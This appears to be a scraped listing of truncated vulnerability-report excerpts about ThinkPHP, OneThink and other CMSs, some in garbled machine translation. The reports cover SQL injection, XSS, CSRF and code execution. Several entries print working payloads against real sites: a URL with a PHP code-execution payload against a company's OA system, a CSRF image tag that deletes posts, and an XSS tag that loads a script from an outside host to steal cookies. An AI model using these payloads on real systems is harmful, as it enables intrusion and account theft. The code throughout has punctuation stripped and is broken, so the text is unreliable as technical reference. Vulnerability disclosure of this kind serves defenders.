ThinkPHP一处过滤不当造成SQL注入漏洞

简要描述： 内核中某个模块开发的太粗糙啦。 详细说明： 问题出现在session，Thinkphp支持更换session handle。 handle中包括Db和Memcache，如下配置即可使用数据库作为session的存储器： 设置了选项后，在数据库里插入这个表（前缀think可以自己定义）： / 数据库方式Session驱动 CREATE TABLE thinksession sessionid varchar255 NOT NULL, sessionexpire int11 NOT NULL, sessiondata blob, UNIQUE KEY sessionid...

ThinkPHP 3.0~3.2 SQL injection vulnerability in detail and use-vulnerability and early warning-the black bar safety net

! ThinkPHP 3.03.2 a target=SQL injection vulnerability in detail with the use of" style="border: 0px;" onload="return imgzoomthis,5 5 0;" onclick="javascript:window. openthis. src;" style="cursor:pointer;"/ 0x00 background thinkphp recent vulnerability frequency, this exploit belongs to the...

New Oriental OA system patches timely thinkphp vulnerability to execute arbitrary system commands(getshell)-vulnerability warning-the black bar safety net

Brief description: New Oriental OA system patch is not timely, the thinkphp vulnerability to execute arbitrary system commandsgetshell Detailed description: ! https://. xdf. cn/mapp/index. php/module/action/param1/$%7B@printvardumpDAdmin-%3Eselect%7D The results are as follows: --------- array1 0...

从ThinkPHP谈基于框架开发程序的安全性二（有开源程序实例）

简要描述： 从ThinkPHP谈基于框架开发程序的安全性二，继续讨论基于框架开发可能带来的问题，厂商忽略不忽略都没关系，主要是给大家提出来，不管是程序员安全意识的问题，还是框架本身的设计缺陷，总之在使用这些框架开发时不要给自己挖坑了。 详细说明： 首先我们来看看官方文档： http://document.thinkphp.cn/manual32.htmlmodelinstance 这里主要介绍了模型实例化的一些方法 终点介绍了D方法和M方法的使用 D方法实例化 select; M方法实例化 // 使用M方法实例化 $User = M'User'; // 和用法 $User = new...

从ThinkPHP谈基于框架开发程序的安全性（从SQL注入到代码执行）

简要描述： 从ThinkPHP谈基于框架开发程序的安全性，以ThinkPHP，ThinkSNS，大米CMS等最新版漏洞证明为例 详细说明： 从ThinkPHP谈基于框架开发程序的安全性，以ThinkPHP，ThinkSNS，大米CMS等为例 之前在看ThinkPHP开发手册的时候看到这个： 字符串方式 字符串方式条件即以字符串的方式将条件作为 where 方法的参数，例子： $Dao = M"User"; $List = $Dao-where'uidfind; 实际执行的 SQL 为： SELECT FROM user WHERE uidwhere'role='.$role-find;...

ThinkPHP一处XSS漏洞（需要特定环境触发）

简要描述： 一处XSS，在特定的环境下甚至触发SQL注入，该学代码审计，如果认为该漏洞无影响，直接忽略即可！ 详细说明： 代码出现在I方法中 关于I的方法，我就不多介绍了，具体可以参考官方手册，下面贴出部分关键代码 文件位置:/ThinkPHP/Common/functions.php function I$name,$default='',$filter=null,$datas=null ifstrpos$name,'.' // 指定参数来源 list$method,$name = explode'.',$name,2; else // 默认为自动判断 $method = 'param...

ThinkPHP补丁修复不当导致SQL注入

简要描述： 放学回寝室，发现大家都在吐槽这个补丁。 这补丁我也是看醉了。逻辑有问题啊。。 详细说明： 这是ThinkPHP对这次注入的补丁：https://github.com/liu21st/thinkphp/commit/23c6e130ce75f2132e5b48699363a75ed28e15b2 elseifisarray$val && isset$REQUEST$key && isarray$REQUEST$key $options'where'$key = string$val; 这逻辑…… 简单说一下他的逻辑：$key是数据库字段名字，$val是我传入的参数。...

ThinkOX full version through the kill 0day-vulnerability warning-the black bar safety net

Affected versions: ThinkOX the full version of the pass to killonethink and thinkphp framework may be affected, particularly too lazy to do it, who are interested in your own analysis. Vulnerability description: Through a dynamic caching mechanism, the input illegal content. Malicious execution o...

ThinkPHP框架架构上存在SQL注入

简要描述： ThinkPHP框架本身缺陷导致SQL注入漏洞，基本影响所有使用ThinkPHP开发的应用，包括thinksns、onethink等，这里以thinkphp自家的OneThink为例。 这个猛料，希望能加精呀 详细说明： 很多人天真的以为，使用了框架提供的数据库查询方法，不再进行SQL语句拼接，就能完美避免SQL注入。那么你就错了，有时候框架反而成为带你进入陷阱的人。 我们翻开最新版thinkphp框架文档，其中的“表达式查询”章节：http://document.thinkphp.cn/manual32.htmlexpressquery...

ThinkPHP架构设计不合理极易导致SQL注入

简要描述： 没有上一个问题严重，但也是thinkphp设计上的隐患，提出来希望能修改，不过忽略了也没办法。 实际上这两个洞的意义不仅于此，这是框架流行的时代，注入的一个新思路。 详细说明： 这个问题其实应该从前段时间Th1nk发的mongodb注入说起，http://drops.wooyun.org/tips/3939，其中提到了mongodb一种注入方式：...

大米CMS注入后台可以getshelll

简要描述： 大米CMS注入，后台可以getshelll 详细说明： 一注入 1.挖洞前奏 Damicms搭建在本地以后，对cms\dami\Core\Lib\Think\Db\Db.class.php进行修改，将sq语句vardump处理。 然后就进行黑盒测试。搜索点，以及admin登入点输入单引号就会给过滤了。。。 看到有注册功能，发现登入点居然没有过滤单引号。。。 这运气比较好了 2.漏洞原理 于是苦逼看代码，发现thinkphp 看不懂 - - 去学习了一下回来了。。。。 发现登入点在: dami\Web\Lib\Action\MemberAction.class.php 这控制器...

ThinkPHP the Ubb tag vulnerability to read arbitrary contents of the-vulnerability warning-the black bar safety net

Brief description: ThinkPHP the Ubb tags, there is a code highlighting function, that satisfies: xxx/c odeorp hpxxx/p hpwhen it comes to the middle of the xxx to read, and highlight, the xxx is the path, and the non-specific code, as in Figure 1,The input path, when the file exists, the return is...

OneThink内容管理框架官网储存型XSS攻击

简要描述： 此内容管理框架OneThink为ThinkPHP框架同公司产品。用到了ThinkPHP最新版本3.2。 详细说明： 今天刚开始分析该内容管理框架，说实话，很喜欢BootStrap，喜欢这款内容管理框架，所以决定与小伙伴一起为该内容管理框架的安全努力下去！继续以我的风格，先黑盒后白盒。 漏洞证明：...

ThinkPHP官网存储型XSS

简要描述： 对部分内容处理不当导致用户可在帖子中植入恶意js代码进而进行跨站脚本攻击 详细说明： 由于对附件名称没有进行escape，导致用户可以通过修改文件名为恶意的HTML代码进一步将其植入到帖子中，下面是官方讨论板块演示： 漏洞证明： 一旦恶意代码被植入成功后，所有浏览该页面的用户都会受到跨站脚本攻击。...

ThinkPHP3.2.2模板对字符过滤不严格造成框架崩溃（远程拒绝服务）

简要描述： 模板逻辑处理不当，导致死循环，耗费系统资源。 详细说明： 首先看下模板内容，关键部分在第四行代码处。 配置文件截图 ，首先我们先看下Apache的进程状态： 我们打开首页，再看下Apache进程状态 内存直线上升有木有，三十秒后 我们再来看下日志 img src="https://images.seebug.org/upload/201405/082154323250ec745119445cbf6b02f19b746e88.jpg" alt="00-4.jpg"...

ThinkPHP远程代码执行隐患（需满足特定条件）

简要描述： 其某处处理存在安全隐患，开发者一不小心就可能写出有漏洞的代码造成任意代码执行。 详细说明： 这个问题之前看ThinkSNS就发现了： WooYun: ThinkSNS getshell一枚 ThinkSNS由于使用ThinkPHP模板，造成任意代码执行。 下面分析下ThinkPHP实现细节 模板类是ThinkPHP中一个重要的类，主要实现了为模板变量赋值，模板解析和输出模板变量的逻辑，其中模板变量的赋值通过assign函数进行，模板变量的解析通过display函数，模板编译通过fetch函数，这一系列对模板的读写与编译操作导致了漏洞的产生。...

ThinkPHP官网xss和csrf漏洞（删除指定文章）

简要描述： thinkphp目前官网的整体安全保护都很弱，每次我检测总会找到漏洞。 反正官网也要升级了，也都是些小漏洞，查是查不完的，但总是还有别人还在找官网的漏洞，我也懒得弄了，。 详细说明： 今天想删除以前自己删除的文章,发现没有这个功能, 于是我又就找到了这个利用方法. 删除指定文章,利用方法: 向指定文章作者发送私信,如下: 内容中插入: Imghttp://www.thinkphp.cn/topic/delete/id/123456.html/img 危害,只要作者打开私信,在不知觉情况下已删除自己发布的某篇文章. 理论是官网上目前所有依赖get方式的操作都可能被攻击。...

看我如何调查放置后门之Thinkphp

简要描述： 提交这个我纠结了很久，本来我是可以做一个坏帽子，贼喊捉贼，昨天晚上想了想，我的偶像猪猪侠提交的那些漏洞和我这比我这就是渣渣，他都可以无私的提交而不去换取不正当的金钱，我为什么就不可以呢？这个应该属于通用漏洞奖励鸟 详细说明： 渗透thinkphp完全是因为无聊之余搞了搞，可是没想到的还搞进去了，呵呵，首先在一个群里面发现别人发了一个thinkphp的连接 打开是一个压缩包 800多MB就下载了 可是下载速度我不敢恭维啊，几KB几十KB每秒，呵呵。 下了四个小时才下载完，下载了那么久，当然要看看里面的东西，源码，呵呵这安全运维可真厉害，在里面找到了一个config...

ThinkPHP存储型XSS漏洞一枚

简要描述： 私信功能缺陷挖掘,简单测试,未深入研究.友情测试,并未插入恶意代码. 详细说明： 私信功能缺陷挖掘,简单测试,未深入研究.友情测试,并未插入恶意代码. 私信标题未过滤HTML, 私信标题长度仅在客户端限制,服务器未限制. 私信未加验证码,未加时间限制, 可以用脚本遍历http://www.thinkphp.cn/u/95959.html这个网址ID采集用户名,向全网发送垃圾信息后, 可以通过私信标题XSS截获管理员或普通用户cookie. 私信隐藏字段,type,1为普通私信,2为系统消息 漏洞证明：...

Thinkphp官方网站存储型XSS漏洞一枚

简要描述： 可以在小洞上自由发辉成大洞 XSS小洞一个 详细说明： 讨论区发布话题对UBBcode未过滤完全 imge2.jpg"onerror="jQuery.getScript'http://1.tengzhou8.sinaapp.com/tp.js'" onload="jQuery.getScript'http://1.tengzhou8.sinaapp.com/tp.js'/img 危害:现在我只是小小的利用了一下赞和收藏功能,可模仿用户进行任意操作,盗COOKIE,登后台,危害较大 漏洞证明：...